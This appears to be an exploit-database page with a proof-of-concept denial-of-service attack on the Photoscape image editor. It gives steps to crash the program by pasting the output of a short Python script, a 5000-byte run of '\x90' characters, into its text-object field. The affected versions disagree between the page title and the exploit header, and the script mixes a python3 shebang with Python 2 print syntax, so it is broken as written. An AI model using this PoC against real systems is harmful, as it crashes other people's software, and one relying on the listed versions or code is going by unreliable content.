Photoscape 2.3 < 2.7.1 Denial of Service

2020.04.10

HexraiN (TR)

Risk: Low

Local: Yes

Remote: No

CVE: N/A

CWE: N/A

# Exploit Title: Photoscape 2.7.1 < 3.0  - 'Textarea' Denial of Service (PoC)
# Author: HexraiN
# Date: 2020-04-10
# Vendor Homepage: http://www.photoscape.org/
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Parrot OS , Windows 10

Steps to Produce the Crash:
1.- Run Python Exploit
2.- Copy output to clipboard
3.- Open Photoscape
4.- Select Any image 
5.- Go To Menu > Object and select Create
6.- Paste ClipBoard on "Textarea"
7.- Crashed..


#!/usr/bin/python3

buf = ""
buf += "\x90"*5000

print buf

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Photoscape 2.3 < 2.7.1 Denial of Service

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.